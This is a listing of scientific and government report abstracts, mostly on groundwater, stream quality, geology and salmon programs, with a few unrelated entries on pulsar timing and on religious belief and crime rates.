water-level changes resulting from mine dewatering. The model simulations were designed to depict maximum-drawdown situations. One simulation indicates that after 20 years of continuous dewatering of an infinite, homogeneous, isotropic aquifer that is 10 feet thick and has an initial potentiometric surface 10 feet above the top of the aquifer, water-level declines greater than 1 foot would generally be limited to within 7.5 miles of the center of the mine excavation; declines greater than 2 feet to within about 6 miles; declines greater than 5 feet to within about 3.7 miles; declines greater than 10 feet to within about 1.7 miles; and declines greater than 15 feet to within 1.2 miles.

"If You Give Him Seeds, He'll Eat Forever"

ERIC Educational Resources Information Center

Murphy, Betty

1972-01-01

Focuses on an OEO-funded farming project through which northern New Mexico Pueblo American Indians are growing crops indoors in nutritive water and gravel through a cultivation process known as hydroponics. (RJ)

Archive of digital chirp subbottom profile data collected during USGS Cruise 13GFP01, Brownlee Dam and Hells Canyon Reservoir, Idaho and Oregon, 2013

USGS Publications Warehouse

Forde, Arnell S.; Dadisman, Shawn V.; Flocks, James G.; Fosness, Ryan L.; Welcker, Chris; Kelso, Kyle W.

2014-01-01

From March 16 - 31, 2013, the U.S. Geological Survey in cooperation with the Idaho Power Company conducted a geophysical survey to investigate sediment deposits and long-term sediment transport within the Snake River from Brownlee Dam to Hells Canyon Reservoir, along the Idaho and Oregon border; this effort will help the USGS to better understand geologic processes. This report serves as an archive of unprocessed digital chirp subbottom data, trackline maps, navigation files, Geographic Information System (GIS) files, Field Activity Collection System (FACS) logs, and formal Federal Geographic Data Committee (FGDC) metadata. Gained (showing a relative increase in signal amplitude) digital images of the seismic profiles are also provided. Refer to the Acronyms page for expansions of acronyms and abbreviations used in this report.

HARMONIC SPACE ANALYSIS OF PULSAR TIMING ARRAY REDSHIFT MAPS

DOE Office of Scientific and Technical Information (OSTI.GOV)

Roebber, Elinore; Holder, Gilbert, E-mail: roebbere@physics.mcgill.ca

2017-01-20

In this paper, we propose a new framework for treating the angular information in the pulsar timing array (PTA) response to a gravitational wave (GW) background based on standard cosmic microwave background techniques. We calculate the angular power spectrum of the all-sky gravitational redshift pattern induced at the Earth for both a single bright source of gravitational radiation and a statistically isotropic, unpolarized Gaussian random GW background. The angular power spectrum is the harmonic transform of the Hellings and Downs curve. We use the power spectrum to examine the expected variance in the Hellings and Downs curve in both cases.more » Finally, we discuss the extent to which PTAs are sensitive to the angular power spectrum and find that the power spectrum sensitivity is dominated by the quadrupole anisotropy of the gravitational redshift map.« less

Divergent Effects of Beliefs in Heaven and Hell on National Crime Rates

PubMed Central

Shariff, Azim F.; Rhemtulla, Mijke

2012-01-01

Though religion has been shown to have generally positive effects on normative ‘prosocial’ behavior, recent laboratory research suggests that these effects may be driven primarily by supernatural punishment. Supernatural benevolence, on the other hand, may actually be associated with less prosocial behavior. Here, we investigate these effects at the societal level, showing that the proportion of people who believe in hell negatively predicts national crime rates whereas belief in heaven predicts higher crime rates. These effects remain after accounting for a host of covariates, and ultimately prove stronger predictors of national crime rates than economic variables such as GDP and income inequality. Expanding on laboratory research on religious prosociality, this is the first study to tie religious beliefs to large-scale cross-national trends in pro- and anti-social behavior. PMID:22723927

Questa baseline and pre-mining ground-water quality investigation. 14. Interpretation of ground-water geochemistry in catchments other than the Straight Creek catchment, Red River Valley, Taos County, New Mexico, 2002-2003

USGS Publications Warehouse

Nordstrom, D. Kirk; McCleskey, R. Blaine; Hunt, Andrew G.; Naus, Cheryl A.

2005-01-01

The U.S. Geological Survey, in cooperation with the New Mexico Environment Department, is investigating the pre-mining ground-water chemistry at the Molycorp molybdenum mine in the Red River Valley, New Mexico. The primary approach is to determine the processes controlling ground-water chemistry at an unmined, off-site but proximal analog. The Straight Creek catchment, chosen for this purpose, consists of the same Tertiary-age quartz-sericite-pyrite altered andesite and rhyolitic volcanics as the mine site. Straight Creek is about 5 kilometers east of the eastern boundary of the mine site. Both Straight Creek and the mine site are at approximately the same altitude, face south, and have the same climatic conditions. Thirteen wells in the proximal analog drainage catchment were sampled for ground-water chemistry. Eleven wells were installed for this study and two existing wells at the Advanced Waste-Water Treatment (AWWT) facility were included in this study. Eight wells were sampled outside the Straight Creek catchment: one each in the Hansen, Hottentot, and La Bobita debris fans, four in a well cluster in upper Capulin Canyon (three in alluvial deposits and one in bedrock), and an existing well at the U.S. Forest Service Questa Ranger Station in Red River alluvial deposits. Two surface waters from the Hansen Creek catchment and two from the Hottentot drainage catchment also were sampled for comparison to ground-water compositions. In this report, these samples are evaluated to determine if the geochemical interpretations from the Straight Creek ground-water geochemistry could be extended to other ground waters in the Red River Valley , including the mine site. Total-recoverable major cations and trace metals and dissolved major cations, selected trace metals, anions, alkalinity; and iron-redox species were determined for all surface- and ground-water samples. Rare-earth elements and low-level As, Bi, Mo, Rb, Re, Sb, Se, Te, Th, U, Tl, V, W, Y, and Zr were determined on selected samples. Dissolved organic carbon (DOC), mercury, sulfate stable isotope composition (d34S and d18O of sulfate), stable isotope composition of water (d2H and d18O of water) were measured for selected samples. Chlorofluorocarbons (CFC) and 3He and 3H were measured for age dating on selected samples. Linear regressions from the Straight Creek ground-water data were used to compare ground-water chemistry trends in non-Straight Creek ground waters with Straight Creek alluvial ground-water chemistry dilution trends. Most of the solute trends for the ground waters are similar to those for Straight Creek but there are some notable exceptions. In lithologies that contain substantial pyrite mineralization, acid waters form with similar chemistries to those in Straight Creek and all the waters tend to be calcium-sulfate type. Hottentot ground waters contain substantially lower calcium concentrations relative to those in Straight Creek. This anomaly results from the exposure of rhyolite porphyry in the Hottentot scar and weathering zone. The rhyolite contains less calcium than the altered andesites and tuffs in the Straight Creek catchment and probably does not have the abundant gypsum and calcite. The Hansen ground waters have reached gypsum saturation and have similar calcium, magnesium, and beryllium concentrations as Straight Creek ground waters but have lower concentrations of fluoride, manganese, zinc, cobalt, nickel, copper, and lithium. Lower concentrations of elements related to mineralization at Hansen likely reflect the more distal location of Hansen with respect to intrusive centers that provided the heat source for hydrothermal alteration. The other ground water with water chemistry trends that are outside the Straight Creek trends was from an alluvial well from Capulin Canyon (CC2A). Although it had pH values near 6.0 and most major ions similar to the other Capulin Canyon ground waters, it contained high concentrations

Grande Ronde Endemic Spring Chinook Salmon Supplementation Program : Facility Operation and Maintenance Facilities, Annual Report 2003.

DOE Office of Scientific and Technical Information (OSTI.GOV)

McLean, Michael L.; Seeger, Ryan; Hewitt, Laurie

2004-01-01

Anadromous salmonid stocks have declined in both the Grande Ronde River Basin (Lower Snake River Compensation Plan (LSRCP) Status Review Symposium 1998) and in the entire Snake River Basin (Nehlsen et al. 1991), many to the point of extinction. The Grande Ronde River Basin historically supported large populations of fall and spring chinook (Oncorhynchus tshawytscha), sockeye (O. nerka), and coho (O. kisutch) salmon and steelhead trout (O. mykiss) (Nehlsen et al. 1991). The decline of chinook salmon and steelhead populations and extirpation of coho and sockeye salmon in the Grande Ronde River Basin was, in part, a result of constructionmore » and operation of hydroelectric facilities, over fishing, and loss and degradation of critical spawning and rearing habitat in the Columbia and Snake River basins (Nehlsen et al. 1991). Hatcheries were built in Oregon, Washington and Idaho under the Lower Snake River Compensation Plan (LSRCP) to compensate for losses of anadromous salmonids due to the construction and operation of the lower four Snake River dams. Lookingglass Hatchery (LGH) on Lookingglass Creek, a tributary of the Grande Ronde River, was completed under LSRCP in 1982 and has served as the main incubation and rearing site for chinook salmon programs for Grande Ronde and Imnaha rivers in Oregon. Despite these hatchery programs, natural spring chinook populations continued to decline resulting in the National Marine Fisheries Service (NMFS) listing Snake River spring/summer chinook salmon as ''threatened'' under the federal Endangered Species Act (1973) on 22 April 1992. Continuing poor escapement levels and declining population trends indicated that Grande Ronde River basin spring chinook salmon were in imminent danger of extinction. These continuing trends led fisheries co-managers in the basin to initiate the Grande Ronde Endemic Spring Chinook Salmon Supplementation Program (GRESCSSP) in order to prevent extinction and preserve options for use of endemic fish stocks in future artificial propagation programs. The GRESCSSP was implemented in three Grande Ronde River basin tributaries; the Lostine and upper Grande Ronde rivers and Catherine Creek. The GRESCSSP employs two broodstock strategies utilizing captive and conventional brood sources. The captive brood program began in 1995, with the collection of parr from the three tributary areas. The conventional broodstock component of the program began in 1997 with the collection of natural adults returning to these tributary areas. Although LGH was available as the primary production facility for spring chinook programs in the Grande Ronde Basin, there were never any adult or juvenile satellite facilities developed in the tributary areas that were to be supplemented. An essential part of the GRESCSSP was the construction of adult traps and juvenile acclimation facilities in these tributary areas. Weirs were installed in 1997 for the collection of adult broodstock for the conventional component of the program. Juvenile facilities were built in 2000 for acclimation of the smolts produced by the captive and conventional broodstock programs and as release sites within the natural production areas of their natal streams. The Confederated Tribes of the Umatilla Indian Reservation (CTUIR) operate both the juvenile acclimation and adult trapping facilities located on Catherine Creek and the upper Grande Ronde River under this project. The Nez Perce Tribe (NPT) operate the facilities on the Lostine River under a sister project. Hatcheries were also built in Oregon, Washington and Idaho under the LSRCP to compensate for losses of summer steelhead due to the construction and operation of the lowest four Snake River dams. Despite these harvest-driven hatchery programs, natural summer steelhead populations continued to decline as evidenced by declining counts at Lower Granite Dam since 1995 (Columbia River Data Access in Real Time, DART) and low steelhead redd counts on index streams in the Grande Ronde Basin. Because of low escapement the Snake River summer steelhead were listed as threatened under the Endangered Species Act of 1973 by the National Marine Fisheries Service (NMFS) on 18 August, 1997. Co-managers have also discontinued off-station releases of juvenile Wallowa stock (non-endemic) hatchery summer steelhead into Catherine Creek in 1998 and the upper Grande Ronde River in 1999. Data are lacking on adult return numbers and the genetic make-up of populations that return to tributaries of the Grande Ronde River basin, Catherine Creek and the upper Grande Ronde River specifically. Adult fish weirs are in place on Catherine Creek and the upper Grande Ronde River and data on summer steelhead populations in those areas are collected.« less

Microencapsulation of Lithium

DTIC Science & Technology

1985-12-31

nuts, chestnuts, f ilberts, hazelnuts, pecans , walnuts (all nuts, in %hells). In other countries, the appropriate government regulatory agencies...75012 Paris, France, 10 Rue Villiot .. ...... . . . . . . 347.87-45 NEAR EAST 20124 Milan, Italy , Via Rosellini 12 ... ...... ...... 688.4563 Hemel

Surface Meteorology at Teller Site Stations, Seward Peninsula, Alaska, Ongoing from 2016

DOE Data Explorer

Bob Busey; Bob Bolton; Cathy Wilson; Lily Cohen

2017-12-05

Meteorological data are currently being collected at two locations at the Teller Site, Seward Peninsula. Teller Creek Station near TL_BSV (TELLER BOTTOM METEOROLOGICAL STATION) Station is located in the lower watershed in a tussock / willow transition zone and co-located with continuous snow depth measurements and subsurface measurements. Teller Creek Station near TL_IS_5 (TELLER TOP METEOROLOGICAL STATION) Station is located in the upper watershed and co-located with continuous snow depth measurements and subsurface measurements. Two types of data products are provided for these stations: First, meteorological and site characterization data grouped by sensor/measurement type (e.g., radiation or soil pit temperature and moisture). These are *.csv files. Second, a Data Visualization tool is provided for quick visualization of measurements over time at a station. Download the *_Visualizer.zip file, extract, and click on the 'index.html' file. Data values are the same in both products.

Persistence and stability of fish community structure in a southwest New York stream

USGS Publications Warehouse

Hansen, Michael J.; Ramm, Carl W.

1994-01-01

We used multivariate and nonparametric statistics to examine persistence and stability of fish species in the upper 43 km of French Creek, New York. Species occurred in upstream and downstream groups in 1937 that persisted in 1979. However, the downstream group expanded its range in the drainage from 1937 to 1979 at the expense of the upstream group. A dam prevented further upstream expansion of the downstream group. Ranks of species abundances were stable, as tests of group similarity were significant. The abundances and distributions of benthic species were stable across seven sampling dates in 1980 despite several floods and repeated removals by sampling that could have altered community structure. We conclude that the fish community in French Creek persisted and was stable over the 42-yr interval, 1937-1979, and that abundances of benthic species were stable in summer 1980.

Cultural Resources Literature Search and Records Review - Upper Mississippi River Basin. Volume 1. Introduction and Narrative

DTIC Science & Technology

1983-01-01

project area. The following summary taken from the final environmental impact statement prepared by the St. Paul District in 1974, serves well to...Archeologist 62 (2): 168-205. U.S. ARMY CORPS OF ENGINEERS 1974 Final Environmental Impact Statement: Operation and Maintenance, 9 Foot Navigation Channel...Spring Hollow Rock Shelter No. 2; Elephant Site; Waterville Rock Shelter; Jeffey Edwards Creek Rock Shelter; Pufahl Site, Allamakee County; Gingerstairs

Groundwater quality, age, and susceptibility and vulnerability to nitrate contamination with linkages to land use and groundwater flow, Upper Black Squirrel Creek Basin, Colorado, 2013

USGS Publications Warehouse

Wellman, Tristan P.; Rupert, Michael G.

2016-03-03

The results of this investigation offer the foundational information needed for developing best management practices to mitigate nitrate contamination, basic concepts on water quality to aid public education, and information to guide regulatory measures if policy makers determine this is warranted. Science-based decision making will require continued monitoring and analysis of water quality in the future.

Demolition of Munitions Storage Area Facilities. Right Size Project 10-0192C

DTIC Science & Technology

2011-07-01

area of the Proposed Action. 3.4.2 Affected Environment Fairchild AFB is situated within the channeled scablands of the Columbia River Basin which...grebe, great blue heron, turkey vulture, Caspian tern , black tern , and osprey. The white-tailed jackrabbit, a state candidate species, is known to...Geography The MSA is located in the Upper Columbia River Basin Basalt Geomorphic Province and lies within the Latah Creek watershed. The landtype is

68. VIEW OF MILLING FLOOR FROM SOUTHEAST. SECONDARY MILL AND ...

Library of Congress Historic Buildings Survey, Historic Engineering Record, Historic Landscapes Survey

68. VIEW OF MILLING FLOOR FROM SOUTHEAST. SECONDARY MILL AND CLASSIFIER AT MIDDLE LEFT. PRIMARY MILL SURGE TANK AND LAUNDERS AT MIDDLE BOTTOM. STAIR TO TROJAN CLASSIFIER LEVEL BEHIND CRANE BENT, UPPER RIGHT. PAIRED PIPES FROM PRIMARY PULP PUMPS TO PRIMARY THICKENERS RISE VERTICALLY AT MIDDLE RIGHT AND RUN HORIZONTALLY ACROSS TOP OF VIEW. - Bald Mountain Gold Mill, Nevada Gulch at head of False Bottom Creek, Lead, Lawrence County, SD

168. VIEW OF MILLING FLOOR FROM SOUTHEAST. SECONDARY MILL AND ...

Library of Congress Historic Buildings Survey, Historic Engineering Record, Historic Landscapes Survey

168. VIEW OF MILLING FLOOR FROM SOUTHEAST. SECONDARY MILL AND CLASSIFIER AT MIDDLE LEFT. PRIMARY MILL SURGE TANK AND LAUNDERS AT MIDDLE BOTTOM. STAIR TO TROJAN CLASSIFIER LEVEL BEHIND CRANE BENT, UPPER RIGHT. PAIRED PIPES FROM PRIMARY PULP PUMPS TO PRIMARY THICKENERS RISE VERTICALLY AT MIDDLE RIGHT AND RUN HORIZONTALLY ACROSS TOP OF VIEW - Bald Mountain Gold Mill, Nevada Gulch at head of False Bottom Creek, Lead, Lawrence County, SD

The origin of groundwater composition in the Pampeano Aquifer underlying the Del Azul Creek basin, Argentina.

PubMed

Zabala, M E; Manzano, M; Vives, L

2015-06-15

The Pampean plain is the most productive region in Argentina. The Pampeano Aquifer beneath the Pampean plain is used mostly for drinking water. The study area is the sector of the Pampeano Aquifer underlying the Del Azul Creek basin, in Buenos Aires province. The main objective is to characterize the chemical and isotopic compositions of groundwater and their origin on a regional scale. The methodology used involved the identification and characterization of potential sources of solutes, the study of rain water and groundwater chemical and isotopic characteristics to deduce processes, the development of a hydrogeochemical conceptual model, and its validation by hydrogeochemical modelling with PHREEQC. Groundwater samples come mostly from a two-depth monitoring network of the "Dr. Eduardo J. Usunoff" Large Plains Hydrology Institute (IHLLA). Groundwater salinity increases from SW to NE, where groundwater is saline. In the upper basin groundwater is of the HCO3-Ca type, in the middle basin it is HCO3-Na, and in the lower basin it is ClSO4-NaCa and Cl-Na. The main processes incorporating solutes to groundwater during recharge in the upper basin are rain water evaporation, dissolution of CO2, calcite, dolomite, silica, and anorthite; cationic exchange with Na release and Ca and Mg uptake, and clay precipitation. The main processes modifying groundwater chemistry along horizontal flow at 30 m depth from the upper to the lower basin are cationic exchange, dissolution of silica and anorthite, and clay precipitation. The origin of salinity in the middle and lower basin is secular evaporation in a naturally endorheic area. In the upper and middle basins there is agricultural pollution. In the lower basin the main pollution source is human liquid and solid wastes. Vertical infiltration through the boreholes annular space during the yearly flooding stages is probably the pollution mechanism of the samples at 30 m depth. Copyright © 2015 Elsevier B.V. All rights reserved.

Stratigraphy and characteristic mollusks of the Pamunkey Group (lower Tertiary) and the Old Church Formation of the Chesapeake Group; Virginia Coastal Plain

USGS Publications Warehouse

Ward, Lauck W.

1985-01-01

Along the Pamunkey River and its tributaries can be found a very complete, well-preserved, Tertiary stratigraphic record that reflects the sea-level changes as well as the local tectonic history of the central Virginia Coastal Plain. Using this record, I have described the lower Tertiary units and proposed a sequential model for their occurrence. Sediments examined in this study range in age from early Paleocene to latest Oligocene or earliest Miocene. Upper Tertiary units are described where they occur in the same sections with the lower Tertiary beds. The Brightseat Formation (lower Paleocene), Aquia Formation (upper Paleocene), Marlboro Clay (upper Paleocene), Nanjemoy Formation (lower Eocene), Piney Point Formation (middle Eocene) and Old Church Formation (new unit, upper Oligocene and lower Miocene) were studied. The definitions of the Piscataway and Paspotansa Members of the Aquia are amended, and a lectostratotype (principal reference section) is designated for those units as well as the Aquia on the Potomac River just below the mouth of Aquia Creek. A lectostratotype section is also designated for the Nanjemoy and its two members, the Potapaco and the Woodstock. That section is on the Potomac above Popes Creek. Beds assigned to the Piney Point and Old Church Formations, previously known only in the subsurface, crop out extensively on the Pamunkey River. A hypostratotype (reference section) is selected for the Piney Point Formation on the Pamunkey River at Horseshoe. The Old Church Formation (named herein) is included in the Chesapeake Group. Areal extent of the stratigraphic units was determined by correlation of outcropping beds on the Pamunkey, Patuxent, Potomac, Rappahannock, Mattaponi, Chickahominy, and James Rivers supplemented by well data. Comparisons of the onlap histories of the Salisbury, Albemarle, and Charleston Embayments indicate a number of simultaneous transgressive events implying global sea-level rises. More restricted transgressions appear to be the result of local downwarping.

Organochlorine pesticides in the Johnson Creek Basin, Oregon, 1988-2002

USGS Publications Warehouse

Tanner, Dwight Q.; Lee, Karl K.

2004-01-01

Organochlorine pesticides were detected in unfiltered samples from Johnson Creek that were collected during a storm in March, 2002. Total DDT (the sum of DDT and its metabolites), as well as dieldrin, potentially exceeded Oregon chronic, freshwater criteria at all four Johnson Creek stream-sampling sites. The total DDT criterion was also potentially exceeded at a storm drain at SE 45th Avenue and Umatilla Street. The concentration of total DDT in water samples has decreased by an order of magnitude since previous sampling was done on Johnson Creek in 1989?1990. This decrease was probably due to the movement of these compounds out of the basin and to degradation processes. Concentrations and loads of the organochlorine pesticides were largest at the most upstream sampling site, Johnson Creek at Palmblad Road, which has historically been primarily affected by agricultural land cover. Concentrations and loads were smaller at downstream locations, and there were only a few detections from storm drains. For the purposes of assessing trends in total DDT concentration in Johnson Creek, data for total suspended solids (TSS) were examined, because TSS is often correlated with DDT concentrations, and TSS data are collected routinely by regulatory agencies. As an intermediate step, linear regression was used to relate TSS (measured in the recent study) and turbidity (measured both in the earlier and in the recent studies). For 77 samples, TSS (in mg/L [milligrams per liter]) = 0.88 x Turbidity (in nephleometric turbidity units). The r2 value was 0.82. The TSS concentration (measured, or estimated by the regression) was compared to the concentration of total DDT using linear regression. The TSS concentration associated with meeting the Oregon water-quality criterion for total DDT was 15 to 18 mg/L in the lower and middle part of the basin and 8 mg/L in the upper reaches of the basin. This TSS/DDT relationship is based on only one storm and may not be valid for other conditions of streamflow and runoff. Dieldrin concentration was not well correlated with TSS. Organochlorine compounds also were detected in significant concentrations in Kelley Creek, an important tributary to Johnson Creek, but quality-control considerations made it difficult to interpret some of the data. It does appear, however, that some of the metabolites of DDT were positively associated with TSS. The high concentrations of the DDT metabolites and dieldrin were correlated with agricultural areas.

Water resources of Monroe County, New York, water years 2003-08: Streamflow, constituent loads, and trends in water quality

USGS Publications Warehouse

Hayhurst, Brett A.; Coon, William F.; Eckhardt, David A.V.

2010-01-01

This report, the sixth in a series published since 1994, presents analyses of hydrologic data in Monroe County for the period October 2002 through September 2008. Streamflows and water quality were monitored at nine sites by the Monroe County Department of Health and the U.S. Geological Survey. Streamflow yields (flow per unit area) were highest in Northrup Creek, which had sustained flows from year-round inflow from the village of Spencerport wastewater-treatment plant and seasonal releases from the New York State Erie (Barge) Canal. Genesee River streamflow yields also were high, at least in part, as a result of higher rainfall and lower evapotranspiration rates in the upper part of the Genesee River Basin than in the other study basins. The lowest streamflow yields were measured in Honeoye Creek, which reflected a decrease in flows due to the withdrawals from Hemlock and Canadice Lakes for the city of Rochester water supply. Water samples collected at nine monitoring sites were analyzed for nutrients, chloride, sulfate, and total suspended solids. The loads of constituents, which were computed from the concentration data and the daily flows recorded at each of the monitoring sites, are estimates of the mass of the constituents that was transported in the streamflow. Annual yields (loads per unit area) also were computed to assess differences in constituent transport among the study basins. All urban sites - Allen Creek and the two downstream sites on Irondequoit Creek - had seasonally high concentrations and annual yields of chloride. Chloride loads are attributed to the application of road-deicing salts to the county's roadways and are related to population and road densities. The less-urbanized sites in the study - Genesee River, Honeoye Creek, and Oatka Creek - had relatively low concentrations and yields of chloride. The highest concentrations and yields of sulfate were measured in Black Creek, Oatka Creek, and Irondequoit Creek at Railroad Mills and are attributable to dissolution of sulfate from gypsum (calcium sulfate) deposits in Silurian shale bedrock that crops out upstream from these monitoring sites. Northrup Creek had the highest concentrations of phosphorus, orthophosphate, and nitrogen, and high yields of nitrate plus nitrite nitrogen and ammonia plus organic nitrogen. These results are attributed to discharges from the Spencerport wastewater-treatment plant (which ceased operation in June 2008), diversions from the New York State Erie (Barge) Canal, and manure and fertilizers applied to agricultural fields. Concentrations and yields of nitrate plus nitrite nitrogen also were high in Oatka Creek and Black Creek; basins with substantial agricultural land uses. Allen Creek had the second highest yield of ammonia plus organic nitrogen. Honeoye Creek, which drains a relatively undeveloped basin, had the lowest yields of nitrogen constituents. The second highest median concentrations and highest sample concentrations of phosphorus and orthophosphate, as well as the highest phosphorus yields, were measured in the Genesee River. A comparison of the yields computed for the two downstream sites on Irondequoit Creek - above Blossom Road and at Empire Boulevard - permitted an assessment of the mitigative effects of the Ellison Park wetland on constituent loads, which would otherwise be transported to Irondequoit Bay. These effects also include those provided by a flow-control structure (installed mid-way through the wetland during February 1997), which was designed to increase the dispersal and short-term detention of stormflows in the wetland. The wetland decreased yields of particulate constituents - phosphorus and ammonia plus organic nitrogen - but had little effect on the yields of dissolved constituents - chloride, sulfate, and nitrate plus nitrite nitrogen. Trends in flow-adjusted concentrations were identified at all sites for most of the nutrient constituents that were evaluated. All of the linear time tren

Water quality and quantity and simulated surface-water and groundwater flow in the Laurel Hill Creek Basin, southwestern Pennsylvania, 1991–2007

USGS Publications Warehouse

Galeone, Daniel G.; Risser, Dennis W.; Eicholtz, Lee W.; Hoffman, Scott A.

2017-07-10

Laurel Hill Creek is considered one of the most pristine waterways in southwestern Pennsylvania and has high recreational value as a high-quality cold-water fishery; however, the upper parts of the basin have documented water-quality impairments. Groundwater and surface water are withdrawn for public water supply and the basin has been identified as a Critical Water Planning Area (CWPA) under the State Water Plan. The U.S. Geological Survey, in cooperation with the Somerset County Conservation District, collected data and developed modeling tools to support the assessment of water-quality and water-quantity issues for a basin designated as a CWPA. Streams, springs, and groundwater wells were sampled for water quality in 2007. Streamflows were measured concurrent with water-quality sampling at main-stem sites on Laurel Hill Creek and tributaries in 2007. Stream temperatures were monitored continuously at five main-stem sites from 2007 to 2010. Water usage in the basin was summarized for 2003 and 2009 and a Water-Analysis Screening Tool (WAST) developed for the Pennsylvania State Water Plan was implemented to determine whether the water use in the basin exceeded the “safe yield” or “the amount of water that can be withdrawn from a water resource over a period of time without impairing the long-term utility of a water resource.” A groundwater and surface-water flow (GSFLOW) model was developed for Laurel Hill Creek and calibrated to the measured daily streamflow from 1991 to 2007 for the streamflow-gaging station near the outlet of the basin at Ursina, Pa. The CWPA designation requires an assessment of current and future water use. The calibrated GSFLOW model can be used to assess the hydrologic effects of future changes in water use and land use in the basin.Analyses of samples collected for surface-water quality during base-flow conditions indicate that the highest nutrient concentrations in the main stem of Laurel Hill Creek were at sites in the northeastern part of the basin where agricultural activity is prominent. All of the total nitrogen (N) and a majority of the total phosphorus (P) concentrations in the main stem exceeded regional nutrient criteria levels of 0.31 and 0.01 milligrams per liter (mg/L), respectively. The highest total N and total P concentrations in the main stem were 1.42 and 0.06 mg/L, respectively. Tributary sites with the highest nutrient concentrations are in subbasins where treated wastewater is discharged, such as Kooser Run and Lost Creek. The highest total N and total P concentrations in subbasins were 3.45 and 0.11 mg/L, respectively. Dissolved chloride and sodium concentrations were highest in the upper part of the basin downstream from Interstate 76 because of road deicing salts. The mean base-flow concentrations of dissolved chloride and sodium were 117 and 77 mg/L, respectively, in samples from the main stem just below Interstate 76, and the mean concentrations in Clear Run were 210 and 118 mg/L, compared to concentrations less than 15 mg/L in tributaries that were not affected by highway runoff. Water quality in forested tributary subbasins underlain by the Allegheny and Pottsville Formations was influenced by acidic precipitation and, to a lesser extent, the underlying geology as indicated by pH values less than 5.0 and corresponding specific conductance ranging from 26 to 288 microsiemens per centimeter at 25 degrees Celsius for some samples; in contrast, pH values for main stem sites ranged from 6.6 to 8.5. Manganese (Mn) was the only dissolved constituent in the surface-water samples that exceeded the secondary maximum contaminant level (SMCL). More than one-half the samples from the main stem had Mn concentrations exceeding the SMCL level of 50 micrograms per liter (μg/L), whereas only 19 percent of samples from tributaries exceeded the SMCL for Mn.Stream temperatures along the main stem of Laurel Hill Creek became higher moving downstream. During the summer months of June through August, the daily mean temperatures at the five sites exceeded the limit of 18.9 degrees Celsius (°C) for a cold-water fishery. The maximum instantaneous values for each site ranged from 27.2 to 32.8 °C.Water-quality samples collected at groundwater sites (wells and springs) indicate that wells developed within the Mauch Chunk Formation had the best water quality, whereas wells developed within the Allegheny and Pottsville Formations yielded the poorest water quality. Waters from the Mauch Chunk Formation had the highest median pH (7.6) and alkalinity (80 mg/L calcium carbonate) values. The lowest pH and alkalinity median values were in waters from the Allegheny and Pottsville Formations. Groundwater samples collected from wells in the Allegheny and Pottsville Formations also had the highest concentrations of dissolved iron (Fe) and dissolved Mn. Seventy-eight percent of the groundwater samples collected from the Allegheny Formation exceeded the SMCL of 300 μg/L for Fe and 50 μg/L for Mn. Forty-three and 62 percent of the groundwater samples collected from the Pottsville Formation exceeded the SMCL for iron and Mn, respectively. The highest Fe and Mn concentrations for surface waters were measured for tributaries draining the Pottsville Formation. The highest median Fe concentration for tributaries was in samples from streams draining the Allegheny Formation.During base-flow conditions, the streamflow per unit area along the main stem of Laurel Hill Creek was lowest in the upper parts of the basin [farthest upstream site 0.07 cubic foot per second per square mile (ft3/s/mi2)] and highest (two sites averaging about 0.20 (ft3/s/mi2) immediately downstream from Laurel Hill Lake in the center of the basin. Tributaries with the highest streamflow per unit area were those subbasins that drain the western ridge of the Laurel Hill Creek Basin. The mean streamflow per unit area for tributaries draining areas that extend into the western ridge and draining eastern or central sections was 0.24 and 0.05 ft3/s/mi2, respectively. In general, as the drainage area increased for tributary basins, the streamflow per unit area increased.Criteria established by the Pennsylvania Department of Environmental Protection indicate that the safe yield of water withdrawals from the Laurel Hill Creek Basin is 1.43 million gallons per day (Mgal/d). Water-use data for 2009 indicate that net (water withdrawals subtracted by water discharges) water withdrawals from groundwater and surface-water sources in the basin were approximately 1.93 Mgal/d. Water withdrawals were concentrated in the upper part of the basin with approximately 80 percent of the withdrawals occurring in the upper 36 mi2 of the basin. Three subbasins—Allen Creek, Kooser Run, and Shafer Run— in the upper part were affected the most by water withdrawals such that safe yields were exceeded by more than 1,000 percent in the first two and more than 500 percent in the other. In the subbasin of Shafer Run, intermittent streamflow characterizes sections that historically have been perennial.The GSFLOW model of the Laurel Hill Creek Basin is a simple one-layer representation of the groundwater flow system. The GSFLOW model was primarily calibrated to reduce the error term associated with base-flow periods. The total amount of observed streamflow at the Laurel Hill Creek at Ursina, Pa. streamflow-gaging station and the simulated streamflow were within 0.1 percent over the entire modeled period; however, annual differences between simulated and observed streamflow showed a range of -27 to 24 percent from 1992 to 2007 with nine of the years having less than a 10-percent difference. The primary source of simulated streamflow in the GSFLOW model was the subsurface (interflow; 62 percent), followed by groundwater (25 percent) and surface runoff (13 percent). Most of the simulated subsurface flow that reached the stream was in the form of slow flow as opposed to preferential (fast) interflow.

A review of crust and upper mantle structure studies of the Snake River Plain-Yellowstone volcanic system: A major lithospheric anomaly in the western U.S.A.

USGS Publications Warehouse

Iyer, H.M.

1984-01-01

The Snake River Plain-Yellowstone volcanic system is one of the largest, basaltic, volcanic field in the world. Here, there is clear evidence for northeasterly progression of rhyolitic volcanism with its present position in Yellowstone. Many theories have been advanced for the origin of the Snake River Plain-Yellowstone system. Yellowstone and Eastern Snake River Plain have been studied intensively using various geophysical techniques. Some sparse geophysical data are available for the Western Snake River Plain as well. Teleseismic data show the presence of a large anomalous body with low P- and S-wave velocities in the crust and upper mantle under the Yellowstone caldera. A similar body in which compressional wave velocity is lower than in the surrounding rock is present under the Eastern Snake River Plain. No data on upper mantle anomalies are available for the Western Snake River Plain. Detailed seismic refraction data for the Eastern Snake River Plain show strong lateral heterogeneities and suggest thinning of the granitic crust from below by mafic intrusion. Available data for the Western Snake River Plain also show similar thinning of the upper crust and its replacement by mafic material. The seismic refraction results in Yellowstone show no evidence of the low-velocity anomalies in the lower crust suggested by teleseismic P-delay data and interpreted as due to extensive partial melting. However, the seismic refraction models indicate lower-than-normal velocities and strong lateral inhomogeneities in the upper crust. Particularly obvious in the refraction data are two regions of very low seismic velocities near the Mallard Eake and Sour Creek resurgent domes in the Yellowstone caldera. The low-velocity body near the Sour Creek resurgent dome is intepreted as partially molten rock. Together with other geophysical and thermal data, the seismic results indicate that a sub-lithospheric thermal anomaly is responsible for the time-progressive volcanism along the Eastern Snake River Plain. However, the exact mechanism responsible for the volcanism and details of magma storage and migration are not yet fully understood. ?? 1984.

Kinderhookian (Lower Mississippian) calcareous rocks of the Howard Pass quadrangle, western Brooks Range: A section in Geologic studies in Alaska by the U.S. Geological Survey, 1995

USGS Publications Warehouse

Dumoulin, Julie A.; Harris, Anita G.

1997-01-01

